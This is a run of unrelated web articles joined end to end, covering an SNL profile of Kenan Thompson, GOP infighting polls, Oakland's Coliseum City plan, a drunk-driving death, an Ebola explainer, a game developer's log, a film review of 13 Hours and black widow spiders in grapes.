But Thompson, Hader said, had another weapon. Unlike most of the show’s actors who might have pre-performance jitters, Thompson was never nervous. Instead he’d mess with other actors seconds before they went on air, sending them onstage with a laugh and an air of confidence. He watched sketches when he had free time, offering words of encouragement when something fell flat. And onstage, Thompson didn’t compete. He facilitated.
When I told Thompson how often his peers brought up “What Up With That” as being one of their favorite skits, he brushed it off with a joke. “I love a good party!” he laughed. But later on, his willingness to put the sketch above himself became clearer.
“I just love for the sketch to go right,” he said. “If I’m involved in it and it’s my thing, it has to be right.”
Inside SNL, Thompson’s innate understanding of sketch comedy, built over a lifetime of practice, has become an anchor for the show, providing a steadiness that can be hard to come by, even among the world’s best comic actors.
In January, Tina Fey, dressed as Princess Leia during a guest appearance, told host Felicity Jones, “If all else fails, you should know that back in Season 35, I put a fatal flaw in the system: If you take out Kenan Thompson, the studio will explode.”
The ability and willingness to adapt on the fly to the writers’ desires is one of the most important skills a cast member can acquire, and it’s what makes Thompson indispensable, Hammond told me. And boy can he adapt. According to the SNL fan site SNLarchives.net, he has already impersonated well over 100 people during his time on the show, more than any other cast member in the show’s history. He’s played Al Roker, David Ortiz and Cee Lo Green, as well as Tyler Perry, Whoopi Goldberg and Sway. He has also played Sir Mix-a-Lot, Maya Angelou and Neil deGrasse Tyson.
“He’s a thing that almost doesn’t exist anymore, which is: He’s a variety performer,” Lorne Michaels said. “He can sing. He can move. He can do comedy, and he knows who he is in front of an audience.”
Will Heath/NBC “If you were designing the person perfect for SNL, most of the components would look like Kenan,” said SNL executive producer Lorne Michaels.
SNL is currently enjoying its most successful season in more than two decades, thanks in large part to the near-constant material provided by the election of President Donald Trump. But James Andrew Miller, author of “Live From New York: The Complete, Uncensored History of Saturday Night Live,” noted that SNL needs to survive in years when political news is slow, too.
That’s where Thompson comes in, he said. While many others have made their name with political impressions, Thompson began to make his through what Miller described as “the blocking and tackling of the show — bringing memorable characters to life who aren’t connected with topical news, but are flat out funny,” with spectacular moments like this year’s David S. Pumpkins bit, or driving a Family Feud sketch as Steve Harvey.
Then, there is that look. You know the one: A wide-eyed Thompson turns toward the camera as it zooms in ― the closest thing humans have produced to a real-life cartoon character. “He’s the person who can steal a sketch with not even a word ― a cock of the eyebrow,” said Will Forte, who joined the show one year before Thompson.
SNL writers would also come to understand the power of that look. When they expected a sketch to lean a tad weak, the writers learned to tuck in a “KENAN REACTS” line to the script. It can easily wrap up a joke, but it also does something else: It allows the audience to feel as if they have a friend onstage, someone they can relate to even if they’re alone on Saturday night.
As Forte explained it, “I would imagine people watching must feel like he’s one of their buddies, or family members.”
Thompson’s understanding of what makes a great sketch, and his ability to improve it on the fly, slowly became a source of amazement among writers and cast members alike.
“There are times when the director will have the wrong shot and Kenan, in real time, will be pointing to the other camera just instinctively knowing how shots should go,” said Colin Jost, a current co-host of “Weekend Update.”
Thompson has found a unique niche onstage in the bizarre, silly world where “What Up With That” lives. But when the camera stops rolling, he plays a role on the show that runs almost counter to his on-screen persona: that of the mentor.
He tells new insecure writers when they wrote a good joke. He watches new cast members from the side of the stage to give them a vote of confidence. “He’s so supportive,” said former SNL writer Tim Robinson. “He’s always the first to give it up.”
When Leslie Jones arrived in 2014, she was already a fully formed stand-up comedian. “I thought I was the funniest motherfucker that lived and nobody could tell me different,” she said. But Jones found herself feeling frustrated by the the show’s rules and more laborious requests.
The time-consuming pre-taped segments, in particular, bothered her. Eventually, Jones told Thompson she didn’t want to do them anymore. “How are you going to sit here and say you aren’t going to do pre-tapes anymore?” Jones recalled him asking her. “You’re part of the cast. Yes, you are, and don’t come in here telling me that you’re not.”
Jones credits Thompson’s insistence that she take all aspects of the job seriously, from the pre-taped segments to the table reads, as one of the main reasons for her success on the show. “I don’t think I would have took the place the way I was supposed to take it if it wasn’t for him,” she said.
Jones owes her career at SNL to Thompson in more ways than one. On Oct. 14, 2013, TV Guide published an interview with him in which he announced that he would no longer play black female characters on SNL, which had lacked a black female cast member since Maya Rudolph left in 2007. When asked why the show hadn’t hired a black female member since Rudolph, Thompson replied, “They just never find ones that are ready.”
TV Guide took the soundbite and ran with it, entitling the piece, “Kenan Thompson Blames SNL’s Diversity Issue on Lack of Talented Black Comediennes.”
Just weeks earlier, fellow SNL cast member Jay Pharoah had told a reporter for the black news site The Grio that he was unhappy that the show lacked a black female cast member. The two events together led to the largest controversy of Thompson’s career.
Black female comedians created a video entitled “WE ARE READY!” to protest his comments. Color of Change, a racial justice organization, demanded Lorne Michaels address his show’s lack of diversity. Jones, who didn’t know Thompson at the time, made her anger known too at a Los Angeles comedy club called Inside Jokes.
“He should come battle me,” Jones reportedly said. “Give me ten minutes and I’ll ruin his life.”
The situation upset Thompson. Non-confrontational almost to a fault, he continues to insist that he was quoted out of context, and that he did not mean to imply there were no adequate black female comedians at that time. But as a result of the TV Guide article, Michaels held a special audition for black female comedians less than two months later, which led Michaels to hire Sasheer Zamata as a featured player and LaKendra Tookes and Leslie Jones as writers. (Jones would later make the transition to cast member.)
Thompson’s comments briefly hurt his reputation, but ultimately they helped to diversify the racial makeup of the show. He’s fine with that tradeoff. “If I was the villain of that whole thing, I don’t really care,” he says now. “Because at the end of the day, Leslie is my homie, and Sasheer is my homie, one of the sweetest people I know, and LaKendra got her shine.”
SNL remains largely white and male. But with Thompson, Jones, Zamata and Michael Che all on board in Season 42, and Melissa Villaseñor joining as the show’s first Latina featured player, there’s reason to feel optimistic that Michaels is getting serious about diversifying the cast.
“It’s just cool to see walls getting kicked down while I’m there,” Thompson said, adding jokingly, “It’s an epic time for black people on the show.”
He dismissed the idea that he had a role in the show’s increasing diversity, instead pointing out that Che is the first black man to host “Weekend Update.” “He broke down real barriers,” he said. “He should be on the cover of Ebony like almost every week!”
But in his own way, Thompson has done what he can at SNL to make sure black Americans are better represented on the show. Bryan Tucker said Thompson has taken the time to patiently explain that diversifying the show isn’t beneficial because it silences public pressure but because “making these hires and doing this allows us to have this whole new perspective on things ― opens up new doors of the show.”
NBC via Getty Images Kenan Thompson has quietly advocated for "Saturday Night Live" to become more racially inclusive during his time on the show.
That was clear last last October, when host Tom Hanks joined Zamata, Jones and Thompson onstage as a rural Trump supporter for a sketch called “Black Jeopardy.” The sketch connected the political concerns of white Trump supporters and African Americans in a way that few journalists or politicians could do in the months leading up to Trump’s election, and it quickly became one of the most talked about moments of the season.
When will Thompson decide to leave SNL? Darrell Hammond, who is tied with him for longest run on the show, decided that his time was nearing after he didn’t win a role portraying anyone in the Obama administration. Tim Meadows, who held the record before Hammond, said that after a decade, “I kind of felt like at a certain point, you have to sort of give somebody else a shot.”
Should Thompson want to return next season for a record 15th season ― and he says he does ― he’ll be welcomed back. “I dread the day when he actually leaves,” Michaels said. “I would have him back for the next 20 years if I could figure out a way to keep him.”
It sounds like he will. Thompson has thought about leaving at times, but famous as he is, he knows he isn’t a movie star, and he isn’t a stand-up comic, either. He’s a sketch comic actor ― one that has finally distinguished himself as the singular comedic force he wanted to be.
This season, only Kate McKinnon is more popular than Thompson among regular viewers of SNL, according to a HuffPost/YouGov poll conducted in December and January.
“I thought that SNL was just going to be that bridge into being an adult actor,” he said. “They’ve not only been a bridge. They’ve been a fucking highway for me.”Sen. Ted Cruz (R-Texas), and his wife Heidi watch as daughter Caroline, 6, center, high-fives members of the crowd after Cruz announced his campaign for president, Monday, March 23, 2015, at Liberty University, founded by the late Rev. Jerry Falwell, in Lynchburg, Va. Cruz, who announced his candidacy on twitter in the early morning hours, is the first major candidate in the 2016 race for president. Also pictured is Catherine Cruz, 4, left. (AP Photo/Andrew Harnik)
In American politics today, the Republican Party is the party of infighting. From primary challenges for incumbents to battles over tactics in Congress (see: the 2013 shutdown), Republicans love to fight with themselves. And the conservative wing of the party often gets its way.
Ipso facto, the Republican Party is more extreme than the Democratic Party -- or at least more polarized. Right?
Not necessarily. As John Sides wrote on the Monkey Cage blog Sunday, the religious freedom fight is a good example of this phenomenon. While Republicans are surely conflicted on laws like the one in Indiana, so in fact are Democrats -- and in very similar numbers.
From Sides:
Yes, Republicans are more divided than Democrats on basic support of same-sex marriage.... But Democrats are actually slightly more divided than Republicans on the religious freedom measures. In this Pew survey, Republicans split 68 percent to 28 percent in favor of allowing businesses to refuse services for same-sex couples, while Democrats split 64 percent to 33 percent in favor of requiring business to provide services to all customers.
Yet only one party had its internecine battle on display for the nation to see: the GOP. And it was just the latest example of Republicans having it out in a very public manner. While Democrats used to be the party of infighting, that's no longer the case.
And it's not just religious freedom. In fact, the new Washington Post-ABC poll tested a number of issues to see just how polarized the bases of either party were.
The chart below shows what percentage of the two parties' bases feels "extremely" or "very" strongly that they would like to have a candidate who has a given position on a given issue. So on Obamacare, it would be the percentage of Democrats who feel "extremely" or "very" strongly that the law should be kept, while it would be the percentage of Republicans who feel that strongly that the law should be repealed. Ditto when it comes to climate change (Democrats favoring government action, Republicans opposing government action), the Iran agreement (Democrats for, Republicans against), a path to citizenship for illegal immigrants (you get the idea) and the no-new tax pledge (which we addressed last week).
As you can see, there isn't a whole lot of difference when it comes to how strongly the bases of the two parties feel on these issues. And Democrats are significantly more forceful when it comes to the no-new-tax pledge and climate change.
[Guess who doesn’t much care for that no-new-tax pledge: Republicans]
And yet, despite just 21 percent of Republicans being strongly opposed to government action on climate change, that's the GOP's modus operandi -- which is a pretty good microcosm of the party at large. There is a huge premium in the GOP on purity and not letting anyone (a primary challenger, for instance) out-conservative you -- even when the base's position isn't one shared or emphasized by huge swaths of the party. The no-new-tax pledge is similar; just 19 percent of Republicans say it's at least very important that candidates sign it, and yet just about every Republican does so.
And it's in large part because conservatives and the tea party (and Grover Norquist on the tax pledge) have instilled the fear of God in Republican members of Congress by defeating just a handful of them in primaries over the last few elections. On the Democratic side, there simply isn't the same kind of fear and intraparty activism.
[Climate change is more of a priority for voters than you might think]
Which is a big reason why the GOP today is so torn between pragmatism/the establishment and purity/the conservative base. It's not necessarily because the Republican base is that much more right-wing than the Democrats are left-wing -- though reasonable people can disagree on that point -- it's more because the right wing has found a way to be much more dominant within its party than its counterpart on the left.
To borrow a basketball metaphor, the conservative base is like a small forward who grabs lots of rebounds and blocks shots -- it plays bigger than it is.Oakland city officials released planning studies Friday for the grand development scheme they envision around the outmoded and isolated Coliseum.
The draft environmental impact report and specific plan for Coliseum City call for construction of a new neighborhood that would feature three sports venues, 5,750 housing units and 8 million square feet of retail development.
In addition to a new ballpark for the A's and a new football stadium for the Raiders, the plan includes an arena for the Golden State Warriors, who have announced their plans to abandon the Oracle Arena and move to a new facility they want to build in San Francisco's Mission Bay. The new Oakland arena would also serve as an events center.
A transit hub would be built next to the Coliseum BART Station, and an elevated pedestrian concourse would run from the transportation center to the sports and entertainment facilities, shops, restaurants and hotels and residential areas.
"The Coliseum City project will transform an entire area of Oakland, creating thousands of new jobs and a regional destination," Mayor Jean Quan said. "It stands to be one of the largest transit-oriented development projects in California and among the most exciting development sites in the nation."
Details of the complicated development plan are still being negotiated privately, said City Administrator Henry Gardner. The City Council approved an exclusive negotiating agreement in 2013 with the Raiders, developers and investors, including Colony Capital, one of the world's largest real estate investment firms.
The Raiders have been noncommittal on the development plan, the A's have expressed interest in a stadium on the Coliseum site but don't want to be part of Coliseum City, and the Warriors, of course, plan to depart.
City planners and consultants have been working on the environmental study and specific plan for more than two years, Quan's office said. The mayor said completion of the documents should help speed development of the project, which is expected to house up to 10,000 people and create 21,000 jobs by 2035.
The plans are available at the Planning and Building Department, 250 Frank Ogawa Plaza, Suite 3315, at the Oakland Public Library, 125 14th St., or online at www.oaklandnet.com/coliseumcity.
Michael Cabanatuan is a San Francisco Chronicle staff writer. E-mail: mcabanatuan@sfchronicle.com Twitter: @ctuanCara Lee’s parents can only hope she never saw the truck that killed her. Witnesses said the Toyota Tundra was going 70 mph when it ran a red light and slammed into the car she was in, embedding its license plate into the frame near where she was sitting.
Police declared Cara dead the moment they arrived at the scene. Later, when they found the driver of the truck hiding in some nearby apartments, they saw that his gums were bleeding from the force of the crash.
He also was drunk.
Cara’s parents have shared their story again and again as ambassadors for Mothers Against Drunk Driving, reliving the worst moments of their lives in the hope that it will save others from going through what they have.
“I look at my life as being over without her,” said her mother, Jackie Lee.
Around 20 people will die on California roads in the next few days in crashes that involve alcohol, if statistics from past New Year’s holidays are a guide; close to 400 more will be injured. The holiday of champagne and midnight toasts also is the most consistently deadly holiday in California for alcohol-involved crashes.
As Jackie and Randy Lee of Santa Ana say now when they talk about Cara’s death: It’s all because someone wanted to drive and didn’t think it could be his mother in the other car, his brother, his daughter. “You live your life around your children,” Randy Lee said. “There’s just us now.”
‘Mom, I love you’
Cara was their only child, 20 years old, still living at home in Santa Ana, still leaving little notes around the house for her parents. “Good morning, Mom, I love you.” “Have a good day Daddy.” Her mother still has a piece of paper that Cara slipped under the bedroom door when she was very little and hurt her finger: “An update on Cara’s index finger. It still hurts.”
Cara worked as a recreation leader for the city of Newport Beach, and the children adored her. She was studying part-time and wanted to work with autistic kids. Her good looks and bright smile won her car-modeling contracts on the side and a spot in a music video.
“She was just a happy-go-lucky little girl,” said her father, who called her Pumpkin. “She just took you at face value,” said her mother, who called her Baby Girl.
Cara went with friends to a Chinese New Year celebration in February 2010. Her parents didn’t wait up; they knew the hum of the garage door would wake them up when she got home. Instead, a knock on the door shook them out of bed around 6:30 a.m.
Randy Lee shouted down the stairs: “Who is it?”
“Sheriff’s Department.”
The parents opened the door to a deputy and a deputy coroner, who asked them to sit down. “Cara was at a party …,” the deputy coroner began.
Jackie cut her off: “A family Chinese New Year’s party.”
“She’s dead,” the deputy coroner blurted out, according to the parents.
Jackie yelled at them to get out. Randy sat for a few stunned minutes and then began calling family. “There’s been an accident …” Later, he had to go collect his daughter’s belongings – her cellphone, keys. He looked for a heart pendant that she always wore, but nobody could find it in the wreckage of the car.
Then Randy went to the accident site, on Flower Street in south Santa Ana. “That’s where her last breath was,” he remembers thinking.
The driver of the truck that killed her, Gustavo Vega, 22, a fellow student at Orange Coast College, had been fleeing an earlier fender-bender when he ran a red light and broadsided the car she was in. Witnesses reported seeing no brake lights before the collision, which crushed Cara’s passenger seat into the center of the car.
Not first DUI arrest
Police found Vega hiding in a nearby apartment complex. He smelled of alcohol and told an officer he thought he was in Garden Grove. He was found to have a blood-alcohol level of 0.17 percent, more than twice the legal limit.
It wasn’t Vega’s first DUI arrest. A few years earlier, he had decided to cruise around Santa Ana one night while drinking from a bottle of vodka. He was arrested after he crashed into a fire hydrant; a judge gave him probation and ordered him to write an essay about drunken driving.
He wrote about the embarrassment of the arrest, about how he felt “extremely uncomfortable” in the handcuffs. “I felt so much regret, and I made a vow to myself never to drink and drive,” he wrote.
He was charged with second-degree murder after Cara’s death. A jury convicted him last year, and a judge sent him to prison for 20 years to life. He has filed an appeal.
“I wake up sick every day,” Jackie Lee said. “I am sick to my stomach every day because of this.”
After the crash, Cara’s parents tormented themselves with the what-ifs. What if Cara had been in a different car? What if she had left the party just a second later than she did? What if Vega had just called a cab?
Jackie spent months inside, on the couch, unable to face a day without her daughter. She had surgery not long ago and says she prayed that she would not wake up. Randy still tries to avoid driving through the intersection where his daughter died.
They’re planning to move to Hawaii, to get away from the reminders of Cara’s death.
Cara would have turned 23 this year. Instead, on the 14th of every month, Jackie marks another month since she last found one of Cara’s notes waiting for her in the morning. There have been 34 of those occasions; next month will be 35.
“It’s another day for her not to be around,” Jackie said. “To not hear her say, ‘Hi mom, I love you.’ To not go pinch her.”Global Ebola Outbreak? Not Quite. 7 Reasons Americans Shouldn’t Panic.
The hype machine has been working overtime the past few weeks as the words “Ebola” and “outbreak” have spurred a frenzy that has turned positively infectious. While the outbreak of a deadly disease should be cause for concern, a little education might go a long way to soothe the frantic hearts of many Americans.
First, let’s look at the facts: The Ebola virus (AKA Ebola virus disease or Ebola hemorrhagic fever) refers to a group of viruses that affect multiple organ systems in the body and are often accompanied by bleeding. Early symptoms include sudden onset of fever, weakness, muscle pain, headaches and a sore throat. These symptoms later progress to vomiting, diarrhea, and impaired kidney and liver function (leading to internal and external bleeding.) It can be manifest by bleeding from the mouth, nose, and eyes. In other words, Ebola is a terrible and fairly gruesome way to die. It is partially for this reason that so many Americans are thrown into such a deep panic at the mention of the virus.
The truth is that most Americans (and other non-West-Africans) have little to worry about. Here are seven reasons to hold off on hitting the panic button:
1. Yes, it’s the largest Ebola outbreak ever, but…
This year’s outbreak is indeed larger than any previously recorded outbreak of the Ebola virus, but the title of “largest outbreak ever” is a bit misleading. While the average annual total of Ebola cases is below 1,000 (yes, humans have contracted the Ebola virus consistently for nearly 40 years now,) this year’s total has only surpassed that number by a few hundred, reaching 1,711 cases to date. In addition, the virus has thus far remained in a very small – and very underdeveloped – geographical area in West Africa.
2. How many have died?
According to the World Health Organization, as of August 4, 2014, a total of 1,711 patients were identified as either having “suspect,” “probable,” or “confirmed” cases of Ebola. 932 of those 1,711 have died, a mortality rate of about 54% (drastically lower than the 90% mortality rate of the original Zaire outbreak in 1976.) Almost all of these cases have occurred in the West African countries of Guinea, Liberia, and Sierra Leone.
By contrast, somewhere around 30,000 Americans die each year from influenza. Yes, the flu.
3. How is it transmitted?
Because Ebola is not a respiratory disease like the flu, it is not transmitted through the air. According to Dr. Amesh Adalja, an infectious disease physician at the University of Pittsburgh Medical Center, the virus is only spread through direct contact with an infected person. He reminds travelers that, “The important thing to remember is that Ebola is only spread through contact with blood and body fluids. People with Ebola are only contagious when they are showing symptoms.”
For this and other reasons, you are unlikely to pass an Ebola carrier on the sidewalk (or any other place.) If you still aren’t convinced, go ahead and skip to #7.
4. Why isn’t this contained?
The World Health Organization says it is believed that fruit bats are the natural hosts of the Ebola virus in Africa, passing the virus to other animals as well as humans. Humans contract Ebola through contact with the bodily fluids of infected animals (often through preparing meals made from brush animals) or the bodily fluids of infected humans.
While the virus is believed to be able to survive for some days in liquid outside an infected organism, chlorine disinfection, heat, direct sunlight, soaps and detergents can kill it. The sad reality is that the rural areas thus far affected by the Ebola outbreak do not have modern sanitation or medical practices available to them. They rely, in many cases, on superstitious beliefs and primitive practices to ineffectively ward off the causes of the deadly disease.
5. What makes it so difficult to treat?
Ebola – like the flu and the common cold – is a virus. For that reason it cannot be treated using antibiotics. In addition, those who are infected with the Ebola virus are most commonly out of the reach of competent, sanitary, preventative health measures.
For the time being, patients with Ebola are treated with supportive therapy. This includes balancing their fluids, maintaining their oxygen levels and blood pressure, and treating them for any complicating infections, the CDC says.
6. Are we developing a Cure?
ZMapp – a highly experimental and unproven drug – has already been successfully administered to at least two Americans who contracted the Ebola virus while volunteering in Africa. Dr. Kent Brantly and Nancy Writebol’s conditions significantly improved after receiving the medication. Brantly was able to walk into Emory University Hospital in Atlanta (escorted by CDC workers in full protective Tyvek® suits) after being evacuated to the United States last week, and Writebol is expected to arrive in Atlanta on Tuesday to undergo further treatment and observation.
It is important to note that ZMapp not been approved for human use and has not even gone through the clinical trial process, which is standard to prove the safety and efficacy of a medication. It may have been given under the U.S. Food and Drug Administration’s “compassionate use” regulation, which allows access to investigational drugs outside clinical trials.
7. Could this spread in US?
In short, it is unlikely that the disease will become widespread in the U.S. Federal agents at U.S. airports are watching travelers from Africa for flu-like symptoms. Border patrol agents at Washington’s Dulles International Airport and New York’s John F. Kennedy International Airport, in particular, are watching for signs of fever, achiness, sore throat, stomach pain, rash or red eyes. The CDC also has staff at 20 U.S. airports and border crossings. Any passenger suspected of carrying the deadly virus would be quarantined immediately and evaluated by medical personnel, CDC said.
In addition, Susan M. Grant, Head RN of Emory Hospital in Atlanta, told the Washington Post Wednesday that her facility “Has a unit created specifically for these types of highly infectious patients, and our staff is thoroughly trained in infection control procedures and protocols. But beyond that, the public alarm overlooks the foundational mission of the U.S. medical system. The purpose of any hospital is to care for the ill and advance knowledge about human health. At Emory, our education, research, dedication and focus on quality — essentially everything we do — is in preparation to handle these types of cases.”
For now, Americans can take courage knowing they remain safe from Ebola becoming endemic in the U.S. And no amount of fictional literature or fear-mongering press can change that.
Information from NBC, CNN, and the World Health Organization was used in this article.Today for me was mostly finalizing the new monster spawning logic, which is a huge departure from the previous way monsters were spawned. Now, monsters are spawned as part of “spawning profiles” which describe what monsters should be spawned in what conditions, and also in what density. The spawning profiles are then connected to biomes, and each biome can actively have a different spawning profile. This enables more interesting divergence of biome environments, because specific biomes (and detached sub-biomes, layers, etc) can have not only different monster types but also different numbers of monster types and densities and parameters, which was very difficult to achieve with the old system.
This is part of the effort to make biomes more unique, and to make it easier to have, as an example, a field full of bunnies appear in the middle of a forest. There will also be added weighting and just generally more configurable monster spawning to increase variety and make exploring more interesting. The previous system simply spawned X number of “things” around each player, regardless, and then what thing was being spawned was based on where the “thing” happened to fall, which is not too flexible.
The algorithm to spawn monsters around each player in a specific density per spawning profile is somewhat tricky, so it’s taken me a bit to work out how exactly it should work.
Other things today included helping omni with some item issues that needed sorting out and untangling a couple of messy bits of code, and also spending about 2 hours talking with the people setting up fiber in our office, getting information from them, and configuring our new internal network.Imprisoned social justice activist Kenneth Bell is being targeted by the administration at Potosi Prison in Missouri. From a letter dated 10-24-15… “Until a couple of days ago I was the prison law clerk, “Jailhouse Lawyer”, but I was fired for filing grievances and for assisting others who are incapable of doing it themselves.... Please form a network of people who will call and confront officials about my firing. If I am to continue to help them here in PCC I need to be back in my position.... By firing me, prison officials hope to intimidate other prisoners and thereby discourage anyone who would be inclined to complain about conditions here, or who would try to help another prisoner do so.”
Many of you may remember the horrendous conditions that we described at Potosi last winter and the torture endured by prisoners who went on hunger strike after being retaliated against for complaining then.
I have attached a copy of his reprisal grievance as well as an article he mailed to me regarding solitary confinement in the United States |
files from Fletcher Kent, Phil Heidenreich, The Canadian Press and The Associated Press.Andrew Breitbart famously said “politics is downstream of culture”, which is the succinct answer to the not infrequent questions authors like myself get about why we’re taking up space on political news sites like Hot Air with posts about things like movies and video games. Essentially, the stories we share with each other control the way we think about almost everything, and these are some of the most powerful storytelling tools available to us. What people “know” about something can be forever changed after just a couple hours in the theater, and that is why it’s so important to both share those experiences and learn to create them by watching the masters at work.
Until this weekend, the story of the 2012 attack on our consulate in Benghazi has been almost exclusively in the hands of the Obama Administration (and the media, but I repeat myself), who have spun a yarn about faulty intelligence leading them to believe a Youtube video caused a spontaneous protest that turned violent and could not have been prevented or mitigated. 13 Hours: The Secret Soldiers of Benghazi now puts that story in the hands of Michael Bay.
Like most people familiar with Bay’s work, when I first saw his name in that trailer I snarked about his ability to tackle such a controversial event in recent history. Not only has every film he’s done since Transformers become dumber and less coherent, but I remember sitting through the interminably painful romance that ate up the majority of Pearl Harbor‘s running time. The best I thought we could hope for here was a more competent version of Act of Valor, which conservatives loved, liberals loathed, and I thought just sucked in general.
Much to my surprise, Bay has instead delivered a poignant and harrowing view of the events of September 11, 2012 from the perspective of the people who were there in Benghazi as it unfolded. In fact, 13 Hours is so well constructed that had it not been for some of the usual shots and frenetic editing that distinctly mark the film as one of Bay’s, I would believe he let someone else direct it for him.
However, although those Bay-isms do pop up here and there, most of the things that bother people about his films are either gone or at the very least heavily subdued compared to his movies of late. Instead of jumping right into an explosion fest, Bay starts us off with a brief recap of how we got into Libya in the first place, followed by about an hour of setting the stage for what’s to come that starts with us meeting our team of ex-soldiers contracted to protect the CIA annex. They’re a frustrated and often bored bunch stuck in a base protecting people who don’t seem to appreciate what they do, surrounded by potential threats, and constantly at odds with a boss who seems to consider them more of a liability than anything else.
That boss is the CIA station chief at the annex played by David Costabile, not President Obama, Hillary Clinton, or some kind of caricature of either as you might expect. Other than a snippet of one of Obama’s speeches, they are completely absent from the film, and by leaving them out, Bay and screenwriter Chuck Hogan wisely avoid having the story they are telling sidetracked by political concerns. Instead they are able to hammer home the horrible truths about Benghazi that have thus far been written off as Republican political pandering.
We are shown a woefully unfortified consulate whose defense is left almost entirely in the hands of unreliable Libyan allies. It is not overrun by a protest that got out of hand, and there is pointed dialog noting that fact later in the movie. Rather it is attacked by Islamic militants who spend days casing both it and the CIA annex before they execute a series of clearly coordinated and planned assaults. And more infuriating than anything else, we watch as calls for backup continue to go unheeded for hours, with fighter jets sitting unmanned on the tarmac as the Americans desperately fight to repel waves of well armed terrorists.
Even our heroes are explicitly and repeatedly told to “stand down” despite the frantic pleas from the Consulate that “if you don’t come, we’re going to f*cking die!”
Bound by their conscience, these valiant men defy their orders and go anyway, and that’s when the movie really gets going. From then on it’s a tense, gripping affair that left me quietly seething in anger watching these guys get hung out to dry by a government that couldn’t or wouldn’t send help. Even Bay’s hyper-edited shaky cam, which is somewhat annoying during that first hour of setup, is used to great effect here, reinforcing the feeling of disorientation and uncertainty these guys clearly have to work through. For once not being able to tell who is whom works in the movie’s favor because neither could they at times.
It’s not all action either. There are appropriate moments of unsettling calm, and since it’s Bay, there are jokes peppered throughout, but not of the typical childish variety we normally see from him. We get more of a gallows humor the guys use to break the tension for themselves as much as it does for us, and though the primary focus is on the pseudonymous Jack Silva played by John Krasinski, and Tyrone Woods played by James Badge Dale, 13 Hours has a great ensemble cast making it all work together.
I also have to give props to Lorne Balfe for creating a score that’s reminiscent of the kind of thing Hans Zimmer used to do before Christopher Nolan introduced him to that “BWAAAAH” noise. It really helped sell every moment of this film.
So believe it or not, Michael Bay did it. He not only created a movie with the potential to change how people view the events of that night in Benghazi, but one that’s a legitimately good film in its own right. So 13 Hours: The Secret Soldiers of Benghazi is a 5 on Ed Morrissey’s HotAir scale:
5 – Full price ticket
4 – Matinee only
3 – Wait for Blu-Ray/DVD/PPV rental or purchase
2 – Watch it when it hits Netflix/cable
1 – Avoid at all costs
It’s a powerful and compelling look at an important moment in recent history that’s absolutely worth a couple hours in a theater to know more about the unquestionable heroism displayed by men who were trapped in a hellish situation that was not only foreseeable, but entirely preventable.
I would also note that it earns its R rating for not shying away from showing the blood and guts at the end, so that’s something to be aware of it makes you squeamish.
13 Hours is rated R for strong combat violence throughout, bloody images, and language.
For more of what I think about entertainment and politics, follow me on Twitter @crankytrex or check out my other writing at buzzpo.com.Okay. Perfect. Let us start.
As you may have (absolutely not at all) noticed, there hasn't been a post and song or a podcast in a while. Well, I've been very busy putting my best efforts into making a sort of end product to my Bulgarian adventure, the first country visited by Ukulele Road Trips. And down in the basement of Yo Ho Hostel in Varna, I've come up with... wait for it... the Bulgaria Album! [insert imaginary enthusiastic fans here]
It is sort of a big deal on these travels; all the songs, recorded, arranged with ukuleles, drums; pianos, lots of voices, and even a kazoo! which will hopefully convince you to get this Backpacking Ukuleleling set of songs. You would also be helping me to continue the adventure, because the postcard thing really isn't picking up. I'm not saying one every three weeks is a bad average, it's just that it's not sustainable-making material. So,
Ben's Ukulele Road Trips - THE BULGARIA ALBUM!!This story was updated at 1:15 p.m. ET on Nov. 13.
A woman in Bucks County, Pennsylvania recently received an unwelcome surprise while preparing a snack for her children. The mother of five was washing a newly purchased bag of organic grapes when a black widow spider crawled out of the bag. The spider didn't bite anyone, but its very presence has caused quite a stir in the media, with news reports warning of the spider's "potentially deadly bite."
A similar story played out in May, when a woman in Vermont reached into a bag of grapes and was bitten by the venomous black widow. The 21-year-old survived the ordeal, but her story had some people concerned about the menacing spiders that seem intent on hitching rides home from the grocery store inside bags of grapes.
But before you give up grapes and grocery shopping forever, experts say there are a few things you should know about the (woefully misunderstood) black widow spider. [Creepy, Crawly & Incredible: Photos of Spiders]
They don't want to go home with you
Believe it or not, black widow spiders don't want to live inside your bag of grapes. If you happen to find one of these critters in your grocery bag, you can bet the arachnid got there by accident, said Catherine Scott, an arachnologist at Simon Fraser University in British Columbia, Canada.
The western black widow (Latrodectus Hesperus) is indigenous to grape-growing regions in California, as well as British Columbia and other western regions of North America. These spiders are a common sight in vineyards, where they typically build their large, tangled webs near grape plants, Scott told Live Science.
"The reason they're in the vineyards is to eat insects and other arthropods," Scott said. "It's not that they want to hang out on your grapes or in your home."
And yet, black widows do sometimes end up in people's kitchens. If a spider beats the odds and survives being plucked from its vineyard home, vigorously washed and then packed into a box, there's a chance it could travel all the way to your local grocery store and, eventually, into your home, said Todd Blackledge, a biology professor at the University of Akron in Ohio. Bananas are another fruit that often harbor stowaway spiders (though the so-called banana spiders that hitch a ride on fruit from Central America are almost always harmless), Blackledge told Live Science.
As with any kind of produce, you should wash grapes and even bananas in cold, running water before peeling and eating them, according to the U.S. Food and Drug Administration. Who knows, maybe this small step can also help you wash any lingering black widows right down the drain.
They rarely bite humans
Despite their ferocious-sounding name, black widows are not aggressive creatures, said Scott, adding that a better word to describe these spiders is "shy."
"They have no reason to bite us unless they're threatened," Scott said. "We pose a much greater threat to them than they do to us."
The Vermont woman recently bitten by a black widow spider lurking among her grapes likely reached her hand directly into the bag and accidentally squished the spider hiding inside, Scott said. In other words, the spider likely wasn't just sitting on a grape, ready to pounce at any moment.
In fact, you really have to pinch a western black widow to get it to sink its teeth in, said Scott, who referenced a recent study that found that this species of spider is most likely to bite when it's pinched along the entire length of its body (something that might happen if it is attacked by a predator or sat upon by an unsuspecting human).
In most cases, poking the spider repeatedly with a finger wasn't enough to get the arachnid to bite, the researchers found. Instead, the prodded black widows in the study often ran away, played dead or flicked a few strands of silk at their attackers.
When they do bite, they don't usually kill
Black widows eat insects, as well as other arachnids, that they catch in their webs. The spiders' venomous bites can kill a mosquito, fly, caterpillar or even a grasshopper. However, their venom isn't meant to kill you. While these spiders' bites can cause fatalities in humans, they rarely do, according to the National Institutes of Health, which states that fatalities from black widow bites typically occur among young children, the elderly and those who are extremely ill.
"Yes, black widows are venomous, but they pose very little danger to humans," Scott said. "The majority of bites that do occur are not serious. People either recover with no intervention at all, or they go to the hospital and are treated and then are fine."
In 2013, there were 1,866 black widow bites reported to the American Association of Poison Control Centers, but as Scott pointed out, only 14 of these envenomations resulted in severe symptoms. None resulted in death.
